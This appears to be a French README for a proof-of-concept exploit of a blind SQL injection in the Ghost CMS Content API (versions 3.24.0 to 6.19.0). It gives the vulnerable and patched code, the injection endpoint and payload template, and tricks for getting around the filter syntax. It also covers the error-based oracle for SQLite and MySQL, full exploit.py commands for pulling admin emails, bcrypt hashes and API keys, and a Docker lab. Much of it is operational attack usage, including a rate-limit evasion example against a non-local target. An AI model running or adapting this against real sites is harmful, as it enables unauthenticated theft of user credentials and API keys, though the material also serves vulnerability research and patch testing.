
Ghost CMS Content API Blind SQL Injection
Affecté : Ghost 3.24.0 – 6.19.0
Corrigé dans : Ghost 6.19.1
Authentification requise : Aucune — la clé d'API de contenu est publique
Impact : Lecture non authentifiée de l'intégralité de la base de données (identifiants, clés API)
slug-filter-order.js interpole directement les valeurs de slug fournies par l'utilisateur dans une clause SQL brute ORDER BY au lieu d'utiliser des liaisons paramétrées.
// VULNÉRABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ interpolation brute de chaîne
// CORRIGÉ — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
Point d'injection :
GET /ghost/api/content/posts/?key=<clé_api_contenu>&filter=slug:[<PAYLOAD>,<ancre>]
Modèle de payload :
slug:['||<EXPR_SQL>||',<slug-ancre>]
L'expression injectée agit comme un oracle booléen basé sur les erreurs.
Contraintes NQL — l'expression SQL à l'intérieur des crochets ne doit pas contenir de guillemets simples (') ni de virgules (,) :
| Problème | Solution SQLite | Solution MySQL |
|---|---|---|
Chaîne littérale 'contenu' | `CHAR(99) | |
| Caractère à la position N | Comparaison de chaîne basée sur le préfixe | ASCII(SUBSTR(x FROM N FOR 1)) |
||est la concaténation de chaînes dans SQLite mais le OU logique dans MySQL — les chaînes littérales doivent être encodées différemment selon le moteur.
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [drapeaux de données] [options]
Requis :
--url URL URL de base de Ghost (ex. http://localhost:2368)
--key KEY Clé d'API de contenu
Optionnel :
--slug SLUG Slug d'ancrage (découvert automatiquement depuis l'API si omis)
--dbms {auto,sqlite,mysql} Moteur de base de données (par défaut : auto-détection)
--delay N Secondes entre les requêtes — pour éviter HTTP 429 (défaut : 0)
--proxy URL Proxy HTTP (ex. http://127.0.0.1:8080) (défaut : aucun)
--validate-fix Tester si la cible est patchée, puis quitter
Drapeaux de données (au moins un requis) :
--email Adresse(s) email de l'utilisateur
--hash Hachage(s) bcrypt de l'utilisateur
--content-key Clé(s) API de contenu
--admin-key Clé(s) API admin
--all Raccourci pour --email --hash --content-key --admin-key
Modificateur :
--all-records Extraire TOUS les enregistrements pour le(s) drapeau(x) sélectionné(s) au lieu du seul premier
# Extraire le premier email + hachage admin (sans proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <clé_api_contenu> \
--email --hash --no-proxy
# Tout extraire, premier enregistrement de chaque
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <clé_api_contenu> \
--all --no-proxy
# Extraire toutes les clés API de contenu
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <clé_api_contenu> \
--content-key --all-records
# Extraire TOUS les enregistrements de TOUS les types de données
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <clé_api_contenu> \
--all --all-records
# Router via le proxy Burp
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <clé_api_contenu> \
--all --proxy http://127.0.0.1:8080
# Forcer le moteur MySQL, ajouter un délai pour éviter la limitation de débit
python3 exploit/exploit.py \
--url http://target.com \
--key <clé_api_contenu> \
--all --dbms mysql --delay 0.5
# Vérifier que la version patchée n'est pas exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <clé_api_contenu> \
--validate-fix
Ghost limite par défaut les requêtes à l'API de contenu. Options :
--delay 0.5 pour ajouter un délai entre les requêtesAPI_RATE_LIMIT_ENABLED: "false" dans l'environnement docker-compose et redémarrerslug-filter-order.js dans Ghost 6.18.0 → 6.19.1Pour référence seulement — ignorez si vous avez déjà une instance Ghost vulnérable.
pip install requestsghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (par défaut)
├── mysql-init/
│ └── 01-init.sql # crée la base ghost_patch, accorde l'accès
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
Les deux fichiers compose exposent :
http://localhost:2368 — vulnérable (Ghost 6.18.0)http://localhost:2369 — patché (Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
Identifiants MySQL : host=localhost:3306 user=ghost password=ghostpass
Bases de données : ghost_vuln (port 2368) / ghost_patch (port 2369)
Attendez environ 60 s que Ghost s'initialise, puis :
http://localhost:2368/ghost — créez un compte administrateur et publiez au moins un article# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
| Moteur | VRAI | FAUX |
|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) débordement → HTTP 500 |